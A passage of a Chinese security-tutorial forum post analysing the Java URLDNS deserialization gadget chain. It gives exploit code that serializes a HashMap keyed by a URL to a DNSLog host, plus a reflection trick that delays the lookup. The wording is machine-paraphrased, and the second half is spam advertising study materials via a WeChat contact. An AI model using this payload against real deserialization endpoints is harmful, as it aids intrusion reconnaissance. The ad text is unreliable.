宝塔山 发表于 2024-6-11 13:47:10

Java安全 URLDNS链分析,网络安全程序员必备

hashCode = handler.hashCode(this);
return hashCode;
}
这里看到,只要 hashCode = -1的话,那么便会实行handler.hashCode(this);,我们去看下 hashcode 属性是怎么定义的
private int hashCode = -1;
我们发现 hashcode 的初始值为 -1,也就是默认实行handler.hashCode(this);,我们再去看看 handler 是怎么定义的,代表了什么,通过下面可得:handler属性代表了URLStreamHandler类的临时对象
transient URLStreamHandler handler;
//这个URL传输实现类是一个transient临时类型,不会被反序列化
经分析,也就是把这一整个URL对象作为参数,传入了URLStreamHandler类的hashCode方法
   this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员
那我们去URLStreamHandler类当中,检察下hashCode方法的代码
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
我们看到 hashcode 方法接收一个URL类型的参数,然后对接收的 URL对象,也就是前面的key实行InetAddress addr = getHostAddress(u);,并会把求出的 hash值 返回给 URL对象中的hashCode属性(这里记着,下面有用到)
   getHostAddress函数会对URL对象代表的链接举行DNS解析,获取其ip地址,我们使用 DNSLog 平台可以检测到该函数的访问
exp编写

思绪整理

根据上面的链路分析,我们首先需要创建一个指向DNSLog平台链接的URL对象,然后作为键传入HashMap数组,最后将该数组举行序列化,然后反序列化调用其readObject方法,将URL对象赋值给key,然后使用hash方法处理惩罚URL对象,再调用URL对象的hashcode方法,然后以URL对象为参数,传入URLStreamHandler类的hashCode方法,对URL对象指向的链接举行访问
开端exp

现在的exp大要如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL(“http://j0obud.dnslog.cn/”);//这里替换为DNSLog平台分配的地址
map.put(url,“114”);//键值用不到,任意设置
try {
FileOutputStream outputStream = new FileOutputStream(“./2.ser”);
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream(“./2.ser”);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
我们在第13行打个断点,也就是try的这一行
https://img-blog.csdnimg.cn/img_convert/ff8b27620aaa0698c419963cba582257.png
然后运行代码,发现未经序列化与反序列化仍然能对url举行DNS解析
https://img-blog.csdnimg.cn/img_convert/806544cacaf26b84d75cc499b282fe50.png
正是下面这一行代码导致了url的提前解析
map.put(url,“114”);//键值用不到,任意设置
我们去看下map(HashMap类)的put方法,代码如下
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
我们发现,这个put方法和readObject方法触发的语句完全一样,同样会对URL对象实行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析
return putVal(hash(key), key, value, false, true);
下面是这两个方法的语句对比可以看到是如出一辙的
put方法:
https://img-blog.csdnimg.cn/img_convert/b05708ca194358bbcbdd3c123ec8f154.png
readObject方法:
https://img-blog.csdnimg.cn/img_convert/98f2d404e709fe5be0d41c9c7d68da71.png
需要留意的是假如提前触发的话,反序列化的时间便不会再举行DNS解析
我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
可以看到只有当 hashCode = -1时,才会实行hashCode = handler.hashCode(this);,从而到下一步DNS解析,然后 hashCode属性被赋值为这个URL解析的哈希值,从而为一个很长的正数,从而不为 -1,然后序列化的时间这个hashCode属性值保持不变,当反序列化到hashCode方法时,以为 hashCode != -1 直接进入if,实行return hashCode;,最终到这里就断掉了,无法触发DNS解析
exp改进

那怎么办呢?
我们可以先在put时,将 hashCode 值通过反射修改为任意一个不为 -1 的数字,从而不会提前触发DNS解析,然后在put完成后,我们再通过反射将 hashCode值设为 -1,示比方下
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,“2333”); //这里的value用不上,任意设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能实行handler.hashCode(this);
自我先容一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己探索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此网络整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够资助到想自学提升又不知道该从何学起的朋侪。
https://img-blog.csdnimg.cn/img_convert/58a0ba6e2f3c8ceb4f6a56a15196d3f8.png
https://img-blog.csdnimg.cn/img_convert/0cefd01d18fad451313805dcf7585b5f.png
https://img-blog.csdnimg.cn/img_convert/12471a7b4f0558a0f27f75eea3fe5713.png
https://img-blog.csdnimg.cn/img_convert/7c6145c069069e514d422702e96f7e27.png
https://img-blog.csdnimg.cn/img_convert/2dfaee82704bc5f93b36c72d577c19b5.png
https://img-blog.csdnimg.cn/img_convert/f725e5e39daa7cd216fad192354da0b0.png
既有得当小白学习的零基础资料,也有得当3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部门目录大纲截图出来,每个节点内里都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,而且后续会持续更新
如果你觉得这些内容对你有资助,可以添加VX:vip204888 (备注网络安全获取)
https://img-blog.csdnimg.cn/img_convert/aac0ddd47d009ba4786dbcddd3d2e436.png
还有兄弟不知道网络安全口试可以提前刷题吗?费时一周整理的160+网络安全口试题,金九银十,做网络安全口试里的显眼包!
王岚嵚工程师口试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋侪来说,也是很好的温习资料!
【完备版领取方式在文末!!】
93道网络安全口试题
https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png
https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png
https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png
内容着实太多,不逐一截图了
黑客学习资源推荐

最后给各人分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点资助!
对于从来没有接触过网络安全的同砚,我们帮你准备了详细的学习成长蹊径图。可以说是最科学最系统的学习蹊径,各人跟着这个大的方向学习准没问题。
1️⃣零基础入门

① 学习蹊径

对于从来没有接触过网络安全的同砚,我们帮你准备了详细的学习成长蹊径图。可以说是最科学最系统的学习蹊径,各人跟着这个大的方向学习准没问题。
https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center
② 蹊径对应学习视频

同时每个成长蹊径对应的板块都有配套的视频提供:
https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center
一个人可以走的很快,但一群人才气走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里参加程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模子、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产物经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
但一群人才气走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里参加程序员的圈子,让我们一起学习成长!**](https://bbs.csdn.net/forums/4304bb5a486d4c3ab8389e65ecb71ac0)
AI人工智能、Android移动开发、AIGC大模子、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产物经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Java安全 URLDNS链分析,网络安全程序员必备